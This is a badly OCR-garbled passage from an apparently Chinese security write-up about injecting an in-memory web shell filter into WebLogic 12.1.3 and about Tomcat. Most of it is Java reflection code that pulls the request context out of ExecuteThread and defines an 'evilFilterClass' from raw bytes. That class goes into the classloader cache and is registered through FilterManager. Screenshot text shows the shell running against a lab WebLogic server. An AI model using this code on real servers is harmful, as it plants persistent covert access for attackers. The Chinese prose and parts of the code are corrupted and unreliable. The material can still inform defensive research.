RUNIDB-"C:\Program Files\Java\jdk1.8.0 20\bin'jdb.exe"
PROCESSOR_IDENTIFIER=AMDG4 Family 23 Model 96 Stepping 1, AuthenticAMD
ProgramFiles=C:\Program Files
PUBLIC—C:\Users\Public
CURRENT DIR=D:\java‘apache-tomeat-8.5.57\bin
windir=C:\Windows

'ALAPPDATA=C:\Users\Administrator'\AppData‘Local

BRI k48 v3.0 Beta4 By rebeyond

7E: A EAT tomcat6 ¥9AH
tomcat6 fift/l> javax.servlet.DispatcherType &
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[RIBERERERASEM Filter WA SEXE
https://www.cnblogs.com/potatsoSec/p/13162792.html FA1E
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IR# weblogic B Filter X8MTE, Wim T2 doFilter, B EEH
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FilterChain, #AGMXXIAMA Filter, [RIE5 tomcat 2l

IR getFilterChain KX, Bt FilterManger 1, X7
weblogic.servlet.internal.FilterManager, & weblogic FAEEIE
filter B9, FAVEEMNSEM Filter INEEEHIRET, ¥HE, E
EMAE T, Ltk tomcat HEZT!

HAVMAEEZHE FilterManger BiIX M INEE, IEMEEIREN
FllterManger, 7£ weblogic 1, context 72 FilterManger, X
ME)REF AL T 2IEIFKEY context, RIBERE 2333
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AHEWIEE—M, BIRFEE M

Class executeThread = Class.forName("weblogic.work.ExecuteThr
ead");

Method m = executeThread.getDeclaredMethod("getCurrentWork™);
Object currentWork = m.invoke(Thread.currentThread());

Field connectionHandlerF = currentWork.getClass().getDeclared
Field("connectionHandler");
connectionHandlerF.setAccessible(true);

Object obj = connectionHandlerF.get(currentWork);

Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);

obj = requestF.get(obj);

Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);

Object context = contextF.get(obj);

MEFANIMINIRENEI T context, & FRFZIEA registerFilter B
EUREAIN filter 1A, BRXEBE T — MO, &
FilterManager B registerFilter 5%, T E@T FilterWrapper
EEBE Filter 2£, (B FilterWrapper &R T, Hi%

I Af&iE Class BIZ%X, RAILAZiE ClassName, FilterManager
#IT ClassName & Class, XTHERT, NRERARX
THIE, BEKRAZIRLT

.initFilter(filterWrapper.getFilterName(), filterWrapper.getFilter(), filterWrapper.getInitParameters())

filterWrapper.getFilterClassName H3REX FilterClass BYR&FR, %A

[5183d context B4 createlnstance /5357 SLI{Y,, createlnstance




HA1EZIT classloader, weblogic FHEHE X classloader, iR
HER loadclass /5%, SEFM cache PEHK ESFEGFERH
X, NREFEE, WEERENZAZAMRITNAY Class

public Class loadClass(String name) throws ClassNotFoundExcep
tion {
boolean doTrace = ctDebuglogger.isDebugEnabled();
if (doTrace) {
ClassLoaderDebugger.debug(this, SupportedClassLoader.
CACL, "loadClass", name);
ks
(Class res = (Class)this.cachedClasses.get(name);
if (res != null) {
return res;
} else {
try {
if (!this.childFirst) {
return super.loadClass(nhame);

} else if (Iname.startsWith("java.") && (!name.st
artsWith("javax.") |l name.startsWith("javax.xml")) && !name.
startsWith("weblogic.")) {

try {
synchronized(this) {
return this.findClass(name);
}
} catch (ClassNotFoundException var?7) {
return super.loadClass(name);
%
} else {
return super.loadClass(nhame);
%
} catch (Error var8) {

if (doTrace) {

ClassLoaderDebugger .debug(this, var8);

}

throw vars§;

} catch (ClassNotFoundException var9) {
if (doTrace) {
ClassLoaderDebugger.debug(this, var9);
}

throw var9;

ENEHRGH, BAINETRIFEREECH Filter IMEIX
NEEFR, DEEHERT, BRI

try {

Class executeThread = Class.forName("weblogic.wor
k.ExecuteThread");

Method m = executeThread.getDeclaredMethod("getCu
rrentWork™);

Object currentWork = m.invoke(Thread.currentThrea



d);
Field connectionHandlerF = currentWork.getClass
() .getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField
("request™);
requestF.setAccessible(true);

obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField
("context™);
contextF.setAccessible(true);
Object context = contextF.get(obj);
Method getFilterManagerM = context.getClass().get
DeclaredMethod("getFilterManager™);
Object filterManager = getFilterManagerM.invoke(c
ontext);
Method registerFilterM = filterManager.getClass
() .getDeclaredMethod("registerFilter", String.class, String.c
lass, String[].class, String[].class, Map.class, String[].cla
ss);
// String filterName, String filterClassName, String[] urlPat
terns, String[] servletNames, Map initParams, String[] dispat
chers
registerFilterM.setAccessible(true);
Field classlLoaderF = context.getClass().getDeclar
edField("classLoader™);
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classlLoaderF.get(c
ontext);
Field cachedClassesF = cl.getClass().getDeclaredF
ield("cachedClasses");
cached(ClassesF.setAccessible(true);
Object cachedClass = cached(ClassesF.get(cl);
Method getM = cachedClass.get(Class().getDeclaredM
ethod("get", Object.class);
if (getM.invoke(cachedClass, "Myfilter") == null)
{
byte[] Uclassbate = new byte[] {Filterf=FTH3
iET
Method defineClass = cl.getClass().getSupercl
ass().getSuperclass().getSuperclass().getDeclaredMethod("defi
neClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.i
nvoke(cl, Uclassbate, @, Uclassbate.length);
// BEEEZWRN Myfilter filter RBIEAFiltername
Method putM = cachedClass.getClass().getDecla
redMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, "Myfilter", evilFilt
erClass);
3
registerFilterM.invoke(filterManager, filterName,
"Myfilter", new String[J{filterUrlPattern}, null, null, nul
s
} catch (Exception e) {
e.printStackTrace();

}

wblogic12.1.3 MilAIh, XEEEARFIIRIEITH



¥ http://192.168.33.130:7001//wls-wsat/sdfefaef

URL:  http://192.168.33.130:7001 //wis-wsat/slifefaef

BEAER | ST | miEn | XHERE | MRS | RiEshell | HUBFEE  HEMMABL | i

HEHE:

JAVA HOME=C:\PROGRA~1\Java\JDK17~1.0 1

OCP371 PATCH PATH=C:\Oracle\MIDDLE~1'patch ocp371\profiles\default
=ExitCode=00000000

JAVA PROPERTIES=-Dplatform home=C:\Oracle\MIDDLE~1\WLSERV~1.3
Dweblogic.home=C:\Oracle MIDDLE~1\WLSERV~1.3\server -Dweblogic.man
JAVA VM=-client

SERVER NAME=AdminServer

Path=C:\OracletMIDDLE~1\patch wls1036\profiles\default\native;C:\Oracle\M
Files\Java\jdk1.8.0 191\bin\:C:\Oracle\ MIDDLE~ I\WLSERVn« 1.3\server\native

TRACIIT ATTRTATT AT A COMAMTIY_ A A - 1 AR ATIIYTYT T 44 a*T VD ™ v AN ™

SEZHE
LS B AL MERTHANA R 5 =~
https://mp.weixin.qg.com/s/DMVcqtiNG9gMdrBUyCRCgw
https://paper.seebug.org/1233/
https://www.cnblogs.com/skisgibao/p/10278987.html

https://www.runoob.com/w3cnote/filter—filterchain-

filterconfig—intro.html
https://developer.aliyun.com/article/83765
https://www.cnblogs.com/potatsoSec/p/13162792.html
https://www.cnblogs.com/Ixmwb/p/13235572.html

https://github.com/cnsimo/TomcatFilterlnject/blob/master/src
/com/reinject/MyFilter/ TomcatShellFilter.java

https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%
94%A8%E5%9B%9E%E6%98%BE%ES5%AD%A6%E4%B9%A
0/



https://www.cnblogs.com/potatsoSec/p/13162792.html



